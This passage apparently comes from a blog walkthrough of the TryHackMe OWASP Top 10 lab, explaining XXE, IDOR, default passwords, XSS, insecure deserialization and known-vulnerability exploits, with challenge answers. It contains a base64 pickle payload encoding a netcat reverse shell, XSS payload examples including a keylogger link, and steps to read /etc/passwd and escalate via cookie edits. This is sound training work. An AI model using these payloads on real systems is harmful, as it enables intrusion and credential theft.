XML?</strong></p><p>1. XML is platform-independent and programming language independent, thus it can be used on any system and supports the technology change when that happens.</p><p>2. The data stored and transported using XML can be changed at any point in time without affecting the data presentation.</p><p>3. XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.</p><p>4. XML simplifies data sharing between various systems because of its platform-independent nature. XML data doesn’t require any conversion when transferred between different systems.</p><p><strong>Syntax</strong></p><p>Every XML document mostly starts with what is known as XML Prolog.</p><p>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</p><p>Above the line is called XML prolog and it specifies the XML version and the encoding used in the XML document. This line is not compulsory to use but it is considered a `good practice` to put that line in all your XML documents.</p><p>Every XML document must contain a `ROOT` element. For example:</p><p>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;mail&gt;<br> &lt;to&gt;falcon&lt;/to&gt;<br> &lt;from&gt;feast&lt;/from&gt;<br> &lt;subject&gt;About XXE&lt;/subject&gt;<br> &lt;text&gt;Teach about XXE&lt;/text&gt;<br>&lt;/mail&gt;</p><p>In the above example the &lt;mail&gt; is the ROOT element of that document and &lt;to&gt;, &lt;from&gt;, &lt;subject&gt;, &lt;text&gt; are the children elements. If the XML document doesn&#39;t have any root element then it would be consideredwrong or invalid XML doc.</p><p>Another thing to remember is that XML is a case sensitive language. If a tag starts like &lt;to&gt; then it has to end by &lt;/to&gt; and not by something like &lt;/To&gt;(notice the capitalization of T)</p><p>Like HTML we can use attributes in XML too. The syntax for having attributes is also very similar to HTML. For example:<br>&lt;text category = &quot;message&quot;&gt;You need to learn about XXE&lt;/text&gt;</p><p>In the above example category is the attribute name and message is the attribute value.</p><p>Before we move on to start learning about XXE we’ll have to understand what is DTD in XML.</p><p>DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document.</p><p>Let us try to understand this with the help of an example. Say we have a file named note.dtd with the following content:</p><p>&lt;!DOCTYPE note [ &lt;!ELEMENT note (to,from,heading,body)&gt; &lt;!ELEMENT to (#PCDATA)&gt; &lt;!ELEMENT from (#PCDATA)&gt; &lt;!ELEMENT heading (#PCDATA)&gt; &lt;!ELEMENT body (#PCDATA)&gt; ]&gt;</p><p>Now we can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD.</p><p>Ex: Below is given an XML document that uses note.dtd</p><p>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;!DOCTYPE note SYSTEM “note.dtd”&gt;<br>&lt;note&gt;<br> &lt;to&gt;falcon&lt;/to&gt;<br> &lt;from&gt;feast&lt;/from&gt;<br> &lt;heading&gt;hacking&lt;/heading&gt;<br> &lt;body&gt;XXE attack&lt;/body&gt;<br>&lt;/note&gt;</p><p>So now let’s understand how that DTD validates the XML. Here’s what all those terms used in note.dtd mean</p><ul><li>!DOCTYPE note — Defines a root element of the document named <strong>note</strong></li><li>!ELEMENT note — Defines that the note element must contain the elements: “to, from, heading, body”</li><li>!ELEMENT to — Defines the to element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT from — Defines the from element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT heading — Defines the heading element to be of type &quot;#PCDATA&quot;</li><li>!ELEMENT body — Defines the body element to be of type &quot;#PCDATA&quot;</li></ul><p><strong>NOTE</strong>: #PCDATA means parseable character data.</p><blockquote><strong>This one has the easiest questions, I think you guys can do it, it’s just what you learned in school with HTML.</strong></blockquote><p>Now let us see some payloads in action. The payload that I’ll be using is the one we saw in the previous task.</p><p>1) Let’s see how the website would look if we’ll try to use the payload for displaying the name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BxOLzNxwFT5kiZ35.png" /></figure><p>On the left side, we can see the burp request that was sent with the URL encoded payload and on the right side we can see that the payload was able to successfully display name falcon feast</p><p>2) Now let’s try to read the /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3wwOJasCtWFGOOIt.png" /></figure><ol><li><strong>What is the name of the user in /etc/passwd</strong></li></ol><p>Ans. The XML payload mentioned above will solve this.</p><ol><li><strong>Where is falcon’s SSH key located? Ans. /home/falcon/.ssh/id_rsa</strong></li><li><strong>What are the first 18 characters for falcon’s private key?</strong></li></ol><p><strong>Severity 5 Broken Access Control:</strong></p><p>Websites have pages that are protected from regular visitors, for example only the site’s admin user should be able to access a page to manage other users. If a website visitor can access the protected page/pages that they are not authorized to view, the access controls are broken.</p><p>A regular visitor being able to access protected pages can lead to the following:</p><ul><li>Being able to view sensitive information</li><li>Accessing unauthorized functionality</li></ul><p>OWASP has a listed a few attack scenarios demonstrating access control weaknesses:</p><p><strong>Scenario #1:</strong> The application uses unverified data in a SQL call that is accessing account information:</p><p><strong>pstmt.setString(1, request.getParameter(“acct”));</strong></p><p><strong>ResultSet results = pstmt.executeQuery( );</strong></p><p>An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account.</p><p><a href="http://example.com/app/accountInfo?acct=notmyacct">http://example.com/app/accountInfo?acct=notmyacct</a></p><p><strong>Scenario #2:</strong> An attacker simply forces browses to target URLs. Admin rights are required for access to the admin page.</p><p><a href="http://example.com/app/getappInfo">http://example.com/app/getappInfo</a></p><p><a href="http://example.com/app/admin_getappInfo">http://example.com/app/admin_getappInfo</a></p><p>If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw (<a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control">reference to scenarios</a>).</p><p>To put it simply, broken access control allows attackers to bypass authorization which can allow them to view sensitive data or perform tasks as if they were privileged users.</p><p>IDOR, or Insecure Direct Object Reference, is the act of exploiting a misconfiguration in the way user input is handled, to access resources you wouldn’t ordinarily be able to access. IDOR is a type of access control vulnerability.</p><p>For example, let’s say we’re logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this <a href="https://example.com/bank?account_number=1234">https://example.com/bank?account_number=1234</a>. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.</p><p>There is however a potentially huge problem here, a hacker may be able to change the account_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else’s bank information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*eXM6-pmfrUhYB7IDpOJfqA.png" /><figcaption>Source: <a href="https://www.wallarm.com/what/what-is-the-insecure-direct-object-references-vulnerability">https://www.wallarm.com/what/what-is-the-insecure-direct-object-references-vulnerability</a></figcaption></figure><ol><li>Look at other user&#39;s notes. What is the flag?</li></ol><p>Ans. <strong>Change the note= values, it’ll show.</strong></p><p><strong>Severity 6 Security Misconfiguration:</strong></p><h3>Security Misconfiguration</h3><p>Security Misconfigurations are distinct from the other Top 10 vulnerabilities because they occur when security could have been configured properly but was not.</p><p>Security misconfigurations include:</p><ul><li>Poorly configured permissions on cloud services, like S3 buckets</li><li>Having unnecessary features enabled, like services, pages, accounts or privileges</li><li>Default accounts with unchanged passwords</li><li>Error messages that are overly detailed and allow an attacker to find out more about the system</li><li>Not using <a href="https://owasp.org/www-project-secure-headers/">HTTP security headers</a>, or revealing too much detail in the Server: HTTP header</li></ul><p>This vulnerability can often lead to more vulnerabilities, such as default credentials giving you access to sensitive data, XXE or command injection on admin pages.</p><p>For more info, I recommend having a look at the <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration">OWASP top 10 entry for Security Misconfiguration</a></p><h3>Default Passwords</h3><p>Specifically, this VM focuses on default passwords. These are a specific example of a security misconfiguration. You could, and should, change any default passwords but people often don’t.</p><p>It’s particularly common in embedded and Internet of Things devices, and much of the time the owners don’t change these passwords.</p><p>It’s easy to imagine the risk of default credentials from an attacker’s point of view. Being able to gain access to admin dashboards, services designed for system administrators or manufacturers, or even network infrastructure could be incredibly useful in attacking a business. From data exposure to easy RCE, the effects of default credentials can be severe.</p><p>In October 2016, Dyn (a DNS provider) was taken offline by one of the most memorable DDoS attacks of the past 10 years. The flood of traffic came mostly from Internet of Things and networking devices like routers and modems, infected by the Mirai malware.</p><p>How did the malware take over the systems? Default passwords. The malware had a list of 63 username/password pairs and attempted to log in to exposed telnet services.</p><p>The DDoS attack was notable because it took many large websites and services offline. Amazon, Twitter, Netflix, GitHub, Xbox Live, PlayStation Network, and many more services went offline for several hours in 3 waves of DDoS attacks on Dyn.</p><ol><li><strong>Hack into the web app, and find the flag?</strong></li></ol><p><strong>Ans. On the </strong><a href="https://github.com/NinjaJc01/PensiveNotes"><strong>GitHub</strong></a><strong> page of this Webapp, there’s a default password in README file.</strong></p><p>Lesson: change the password of your CCTVs if you haven’t.</p><p><strong>Severity 7 Cross-site Scripting:</strong></p><p>THM provides very little about XSS in this room, you can try Portswigger labs, or <a href="https://tryhackme.com/r/room/axss">XSS room by THM</a> or XSS games, if I find anything related to XSS in the future I’ll update this.</p><h3>XSS Explained</h3><p>Cross-site scripting, also known as XSS is a security vulnerability typically found in web applications. It’s a type of injection that can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.</p><p>A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. There are three main types of cross-site scripting:</p><ol><li><strong>Stored XSS</strong> — the most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitized (remove the “bad parts” of a user&#39;s input) when inserted into the database.</li><li><strong>Reflected XSS</strong> — the malicious payload is part of the victim&#39;s request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.</li><li><strong>DOM-Based XSS</strong> — DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style, and content. A web page is a document and this document can be either displayed in the browser window or as the HTML source.</li></ol><p>For more XSS explanations and exercises, check out the <a href="https://tryhackme.com/room/xss">XSS room</a>.</p><h3>XSS Payloads</h3><p>Remember, cross-site scripting is a vulnerability that can be exploited to execute malicious Javascript on a victim’s machine. Check out some common payload types used:</p><ul><li>Popups (&lt;script&gt;alert(“Hello World”)&lt;/script&gt;) — Create a Hello World message popup on a user&#39;s browser.</li><li>Writing HTML (document.write) — Override the website’s HTML to add your own (essentially defacing the entire page).</li><li>XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) — You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.</li><li>Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) — A mini local port scanner (more information on this is covered in the TryHackMe XSS room).</li></ul><p>XSS-Payloads.com (http://www.xss-payloads.com/) is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.</p><p><strong>XSS Challenge</strong></p><p>The VM attached to this task showcases DOM-Based, Reflected and Stored XSS. Deploy the machine and exploit each type!</p><ol><li><strong>Navigate to </strong><a href="http://10.10.250.186/"><strong>http://[MACHINE IP]/</strong></a><strong> in your browser and click on the “Reflected XSS” tab on the navbar; craft a reflected XSS payload that will cause a popup saying “Hello”.</strong></li></ol><p>Ans. Use this you’ll get answer <strong>&lt;script&gt;alert(“Hello”);&lt;/script&gt; </strong>as a side note, there’s a blog by Portswigger that shows another option for alert unrelated to this but it’s like the new stuff to check and often overlooked by filters. <a href="https://portswigger.net/research/alert-is-dead-long-live-print"><strong>alert() is dead, long live print(</strong></a><strong>)</strong></p><p><strong>2. On the same reflective page, craft a reflected XSS payload that will cause a popup with your machine&#39;s IP address.</strong></p><p>Ans. window.location.hostname is a useful function. More about that here: <a href="https://www.w3schools.com/js/js_window_location.asp">https://www.w3schools.com/js/js_window_location.asp</a></p><p><strong>3. Then add a comment and see if you can insert some of your own HTML.</strong></p><p>Ans. Just use normal HTML tags, this isn’t hard.</p><p><strong>4. On the same page, create an alert popup box appear on the page with your document cookies.</strong></p><p>Ans. <strong>document.cookie</strong> function works for this one.</p><p><strong>5. Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.</strong></p><p>Ans. document.getElementById.innerHTML is a function used for DOM manipulation, it’ll work for this.</p><p><strong>Severity 8 Insecure Deserialization:</strong></p><p><em>“Insecure Deserialization is a vulnerability which occurs when untrusted data is used to abuse the logic of an application” (Acunetix., 2017)</em></p><p>This definition is still quite broad to say the least. Simply, insecure deserialization is replacing data processed by an application with malicious code; allowing anything from DoS (Denial of Service) to RCE (Remote Code Execution) that the attacker can use to gain a foothold in a pentesting scenario.</p><p>Specifically, this malicious code leverages the legitimate serialization and deserialization process used by web applications. We’ll be explaining this process and why it is so commonplace in modern web applications.</p><p>- Low exploitability. This vulnerability is often a case-by-case basis — there is no reliable tool/framework for it. Because of its nature, attackers need to have a good understanding of the inner-workings of the ToE.</p><p>- The exploit is only as dangerous as the attacker’s skill permits, more so, the value of the data that is exposed. For example, someone who can only cause a DoS will make the application unavailable. The business impact of this will vary on the infrastructure — some organisations will recover just fine, others, however, will not.</p><p><strong>What’s Vulnerable?</strong></p><p>At summary, ultimately, any application that stores or fetches data where there are no validations or integrity checks in place for the data queried or retained. A few examples of applications of this nature are:</p><ul><li>E-Commerce Sites<br>- Forums<br>- API’s<br>- Application Runtimes (Tomcat, Jenkins, Jboss, etc)</li></ul><p><strong>Objects</strong></p><p>A prominent element of object-oriented programming (OOP), objects are made up of two things:</p><p>- State</p><p>- Behaviour</p><p>Simply, objects allow you to create similar lines of code without having to do the leg-work of writing the same lines of code again.</p><p>For example, a lamp would be a good object. Lamps can have different types of bulbs, this would be their state, as well as being either on/off — their behaviour!</p><p>Rather than having to accommodate every type of bulb and whether or not that specific lamp is on or off, you can use methods to simply alter the state and behaviour of the lamp.</p><p><strong>De(Serialization)</strong></p><p><em>Learning is best done through analogies</em></p><p>A Tourist approaches you in the street asking for directions. They’re looking for a local landmark and got lost. Unfortunately, English isn’t their strong point and nor do you speak their dialect either. What do you do? You draw a map of the route to the landmark because pictures cross language barriers, they were able to find the landmark. Nice! You’ve just serialised some information, where the tourist then deserialised it to find the landmark.</p><p><strong>Continued</strong></p><p>Serialisation is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing or storage.</p><p>Alternatively, deserialisation is the reverse of this; converting serialised information into their complex form — an object that the application will understand.</p><p><strong>What does this mean?</strong></p><p>Say you have a password of “password123” from a program that needs to be stored in a database on another system. To travel across a network this string/output needs to be converted to binary. Of course, the password needs to be stored as “password123” and not its binary notation. Once this reaches the database, it is converted or deserialised back into “password123” so it can be stored.</p><p><em>The process is best explained through diagrams:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/0*377pqGuX3umRvBcB.png" /></figure><p><strong>How can we leverage this?</strong></p><p>Simply, insecure deserialization occurs when data from an untrusted party (I.e. a hacker) gets executed because there is no filtering or input validation; the system assumes that the data is trustworthy and will execute it no holds barred.</p><ol><li><strong>What is the name of the base-2 formatting that data is sent across a network as?</strong></li></ol><p>Ans. [ The thing that has 0s and 1s ]</p><p><strong>Cookies 101</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/0*sSeexkGbJ4v-NHq-.png" /></figure><p>Ah yes, the origin of many memes. Cookies are an essential tool for modern websites to function. Tiny pieces of data, these are created by a website and stored on the user’s computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/0*KixK1OY6HjSGwP7w.png" /></figure><p>You’ll see notifications like the above on most websites these days. Websites use these cookies to store user-specific behaviours like items in their shopping cart or session IDs.</p><p>In the web application, we’re going to exploit, you’ll notice cookies store login information like the below! Yikes!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/0*6xOB7J-ErhnYQX6W.png" /></figure><p>Whilst plaintext credentials is a vulnerability in itself, it is not insecure deserialization as we have not sent any serialized data to be executed!</p><p>Cookies are not permanent storage solutions like databases. Some cookies such as session ID’s will clear when the browser is closed, others, however, last considerably longer. This is determined by the “Expiry” timer that is set when the cookie is created.</p><p><em>Some cookies have additional attributes, a small list of these are below:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MTrU8ZR9pEz0N1uYb11mjQ.png" /></figure><p><strong>Creating Cookies</strong></p><p>Cookies can be set in various website programming languages. For example, Javascript, PHP or Python to name a few. The following web application is developed using Python’s Flask, so it is fitting to use it as an example.</p><p><em>Take the snippet below:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iei8apgbk2ZB_nEr.png" /></figure><p>Setting cookies in Flask is rather trivial. Simply, this snippet gets the current date and time, stores it within the variable “timestamp” and then stores the date and time in a cookie named “registrationTimestamp”. This is what it will look like in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/0*SOWWHYqK19iFVDw5.png" /></figure><p><em>It’s as simple as that.</em></p><ol><li><strong>If a cookie had the path of <em>webapp.com/login </em>, what would the URL that the user has to visit be?</strong></li></ol><p>Ans. webapp.com/login</p><ol><li><strong>What is the acronym for the web technology that <em>Secure</em> cookies work over?</strong></li></ol><p>Ans. HTTPS</p><p><strong>Cookies Practical:</strong></p><p><strong>Accessing your Instance</strong></p><p>In the browser of the device that you are connected to the VPN with, navigate to <a href="http://machine_ip./">http://<strong>MACHINE_IP.</strong></a> I will be detailing the steps for Firefox — you may have to research how to inspect cookies in the browser of your choice. You will be greeted with the home page:</p><p><em>Let’s create an account. No need to enter your TryHackMe details, you can enter what you like.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nIutDdOH3J2v_Fx_.png" /></figure><p><em>Where you will be directed to your profile page. Notice on the right, you have your details.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zXZDhIpH1tM7gvmg.png" /></figure><p>Right-Click the Page and press “Inspect Element”. Navigate to the “Storage” tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*04ZW6HifBIp71WdR.png" /></figure><p><strong>Inspecting Encoded Data</strong></p><p>You will see here that there are cookies are both plaintext encoded and base64 encoded. The first flag will be found in one of these cookies.</p><p><strong>Modifying Cookie Values</strong></p><p>Notice here that you have a cookie named “userType”. You are currently a user, as confirmed by your information on the “myprofile” page.</p><p>This application determines what you can and cannot see by your userType. What if you wanted to be come an admin?</p><p>Double left-click the “Value” column of “userType” to modify the contents. Let’s change our userType to “admin” and navigate to <a href="http://machine_ip/admin">http://<strong>MACHINE_IP/admin</strong></a> to answer the second flag.</p><ol><li><strong>1st flag (cookie value)</strong></li></ol><p>Ans. Developer tool or inspect element → Application, there you’ll see, copy it and decode using Burp recorder.</p><ol><li><strong>2nd flag (admin dashboard)</strong></li></ol><p>Ans. Modify userType and username to admin.</p><p><em>A much more nefarious attack than simply decoding cookies, we get into the nitty-gritty.</em></p><p><strong>Setup</strong></p><p>1. First, change the value of the userType cookie from “admin” to “user” and return to <a href="http://machine_ip/myprofile">http://MACHINE_IP/myprofile</a></p><p>2. Then, left-click on the URL in “Exhange your vim” found in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BgAS3V8c7NNBhuGc.png" /></figure><p>3. Once you have done this, left-click on the URL in “Provide your feedback!” where you will be direct to page like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*BJy7UkD8aCo95Q8-.png" /></figure><p><strong>.What makes this form vulnerable?</strong></p><p>If a user was to enter their feedback, the data will get encoded and sent to the Flask application (presumably for storage within a database for example). However, the application assumes that any data encoded is trustworthy. But we’re hackers. You can only trust us as far as you can fling us (and that’s nigh-on impossible online)</p><p><em>Although explaining programming is a bit out of scope for this room, it’s important to understand what’s going on in the snippet below:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MSmwocAFzyH9RxMq.png" /></figure><p>When you visit the “Exchange your vim” URL, A cookie is encoded and stored within your browser — perfect for us to modify! Once you visit the feedback form, the value of this cookie is decoded and then deserialised. Uh oh. In the snippet below, we can see how the cookie is retrieved and then deserialized via pickle.loads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3GtKtaRURiy7sLQK.png" /></figure><p>This vulnerability exploits Python Pickle, which I have attached as reading material at the end of the room. We essentially have free reign to execute whatever we like such as a reverse shell.</p><p><strong>The Exploit</strong></p><p>Now I’m not going to leave you hanging dry here. First, we need to set up a netcat listener on our Kali. If you are a subscriber, you can control your own <a href="https://tryhackme.com/my-machine">in-browser TryHackMe Kali Machine</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/0*Zqkq_vZL2yQmh8-S.png" /></figure><p>Because the code being deserialized is from a base64 format, we cannot just simply spawn a reverse shell. We must encode our own commands in base64 so that the malicious code will be executed. I will be detailing the steps below with provided material to do so.</p><p>Once this is complete, <a href="https://assets.tryhackme.com/additional/cmn-owasptopten/pickleme.py">copy-and-paste the source code from this python file (pickelme.py)</a> to your kali and modify the source code to replace your “YOUR_TRYHACKME_VPN_IP” with your TryHackMe VPN IP. <a href="https://tryhackme.com/access">This can be obtained via the Access page</a>.</p><p>1. Create a python file to paste into, I have used “rce.py” for these examples:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/0*1KlHyQm1bYGhcjcs.png" /></figure><p>2. Paste the code from the GitHub site, replacing YOUR_TRYHACKME_VPN_IP with your TryHackMe VPN IP from the access page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/0*YIMhp3UvGRiyL3ia.png" /></figure><p>3. Execute “rce.py” via python3 rce.py</p><p>4. Note the output of the command, it will look something similar to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rsceEWc45AB_YmD1.png" /></figure><p>5. Copy and paste everything <strong>in-between the two speech marks</strong> (‘DATA’). In my case, I will copy and paste:</p><p>gASVcgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFdybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI+JjEgfCBuZXRjYXQgMTAuMTEuMy4yIDQ0NDQgPiAvdG1wL2aUhZRSlC4= Yours may look slightly different, just ensure that you copy everything in-between the two speech marks &#39;&#39;</p><p>6. Paste this into the “encodedPayload” cookie in your browser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CiIbuNtCLrUttzzE.png" /></figure><p>7. Ensure our netcat listener is still running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/0*DOaB0bqXeiYkFlQ4.png" /></figure><p>8. Refresh the page. It will hang, refer back to your netcat listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/0*zy7X_Q_T85WGkVuJ.png" /></figure><p>If you have performed the steps correctly, you will now have a remote shell to your instance. No privilege escalation involved, look for the flag.txt flag!</p><ol><li><strong>flag.txt?</strong></li></ol><p>Ans. XXXXXXXXXXXX</p><p><strong>Severity 9 Components With Known Vulnerabilities:</strong></p><p>Occasionally, you may find that the company/entity that you’re pen-testing is using a program that already has a well-documented vulnerability.</p><p>For example, let’s say that a company hasn’t updated its version of WordPress for a few years, and using a tool such as wpscan, you find that it’s version 4.6. Some quick research will reveal that WordPress 4.6 is vulnerable to an unauthenticated remote code execution(RCE) exploit, and even better you can find an exploit already made on <a href="https://www.exploit-db.com/exploits/41962">exploit-db</a>.</p><p>As you can see this would be quite devastating, because it requires very little work on the part of the attacker as often since the vulnerability is already well known, someone else has made an exploit for the vulnerability. The situation becomes even worse when you realize, that it’s quite easy for this to happen, if a company misses a single update for a program they use, they could be vulnerable to any number of attacks.</p><p>Hence, why OWASP has rated this a 3(meaning high) on the prevalence scale, it is incredibly easy for a company to miss an update for an application.</p><p>Recall that since this is about known vulnerabilities, most of the work has already been done for us. Our main job is to find out the information of the software and research it until we can find an exploit. Let’s go through that with an example web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/0*6Loh9cePEgsLvuEv.png" /><figcaption><em>Nostromo 1.9.6</em></figcaption></figure><p>What do you know, this server is using the default page for the nostromo web server. Now that we have a version number and a software name, we can use <a href="https://www.exploit-db.com/">exploit-db</a> to try and find an exploit for this particular version.</p><p>(Note: exploit-db is incredibly useful, and for all you beginners you’re gonna be using this <strong>a lot </strong>so it’s best to get comfortable with it)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/0*20D4tY4w0oZVhW1p.png" /></figure><p>Lucky us, the top result happens to be an exploit script. Let’s download it and try and to get code execution. Running this script on its own actually teaches us a very important lesson.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/0*CMykjQoXi1eCTqSY.png" /></figure><p>It may not work the first time. It helps to have an understanding of the programming language that the script is in, so that if needed you can fix any bugs or make any modifications, as quite a few scripts on exploit-db expect you to make modifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/0*Rg3-QwuPdxGu6dhG.png" /></figure><p>Fortunately for us, the error was caused by a line that should have been commented on, so it’s an easy fix.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/0*gvm4eTb-hsEvobrW.png" /></figure><p>Fixing that, let’s try and run the program again.</p><p>Boom! We have RCE. Now it’s important to note here that most scripts will just tell you what arguments you need to provide, exploit developers will rarely make you read potentially hundreds of lines of codes just to figure out how to use the script.</p><p>It is also worth noting that it may not always be this easy, sometimes you will just be given a version number like in this case, but other times you may need to dig through the HTML source, or even take a lucky guess on an exploit script, but realistically if it is a known vulnerability, there’s probably a way to discover what version the application is running.</p><p>That’s really it, the great thing about this piece of the OWASP 10, is that the work is pretty much already done for us, we just need to do some basic research, and as a penetration tester, you’re already doing that quite a bit :).</p><p>The following is a vulnerable application, all information you need to exploit it can be found online.</p><p>Note: When you find the exploit script, put all of your input in quotes, for example “id”</p><p><strong>1. How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)</strong></p><p>Ans. This one might help: <a href="https://www.exploit-db.com/exploits/47887">https://www.exploit-db.com/exploits/47887</a></p><p><strong>Severity 10 Insufficient Logging and Monitoring:</strong></p><p>When web applications are set up, every action performed by the user should be logged. Logging is important because, in the event of an incident, the attacker&#39;s actions can be traced. Once their actions are traced, their risk and impact can be determined. Without logging, there would be no way to tell what actions an attacker performs if they gain access to particular web applications. The bigger impacts of these include:</p><ul><li>regulatory damage: if an attacker has gained access to personally identifiable user information and there is no record of this, not only are users of the application affected, but the application owners may be subject to fines or more severe actions depending on regulations.</li><li>risk of further attacks: without logging, the presence of an attacker may be undetected. This could allow an attacker to launch further attacks against web application owners by stealing credentials, attacking infrastructure, and more.</li></ul><p>The information stored in logs should include:</p><ul><li>HTTP status codes</li><li>Time Stamps</li><li>Usernames</li><li>API endpoints/page locations</li><li>IP addresses</li></ul><p>These logs do have some sensitive information on them so its important to ensure that logs are stored securely and multiple copies of these logs are stored at different locations.</p><p>As you may have noticed, logging is more important after a breach or incident has occurred. The ideal case is having monitoring in place to detect any suspicious activity. The aim of detecting this suspicious activity is to either stop the attacker completely or reduce the impact they’ve made if their presence has been detected much later than anticipated. Common examples of suspicious activity include:</p><ul><li>multiple unauthorized attempts for a particular action (usually authentication attempts or access to unauthorized resources e.g. admin pages)</li><li>requests from anomalous IP addresses or locations: while this can indicate that someone else is trying to access a particular user’s account, it can also have a false positive rate.</li><li>use of automated tools: particular automated tooling can be easily identifiable e.g. using the value of User-Agent headers or the speed of requests. This can indicate an attacker is using automated tooling.</li><li>common payloads: in web applications, it’s common for attackers to use Cross-Site Scripting (XSS) payloads. Detecting the use of these payloads can indicate the presence of someone conducting unauthorized/malicious testing on applications.</li></ul><p>Just detecting suspicious activity isn’t helpful. This suspicious activity needs to be rated according to the impact level. For example, certain actions will higher impact than others. These higher-impact actions need to be responded to sooner thus they should raise an alarm which raises the attention of the relevant party.</p><p>Put this knowledge into practice by analyzing this sample log file.</p><p>ANS: <strong>[ Just cat the file, it’s the easiest challenge of all ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9ir0iyyoI-aVbBxx9dZOQ.png" /></figure><p>Thanks for reading!!! Happy Hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20f3fabb2418" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting started with Reverse Engineering with no prior experience]]></title>
            <link>https://medium.com/@anirudhataliyan/getting-started-with-reverse-engineering-with-no-prior-experience-aa265916cfa3?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa265916cfa3</guid>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Tue, 26 Sep 2023 10:09:01 GMT</pubDate>
            <atom:updated>2023-09-26T10:13:12.394Z</atom:updated>
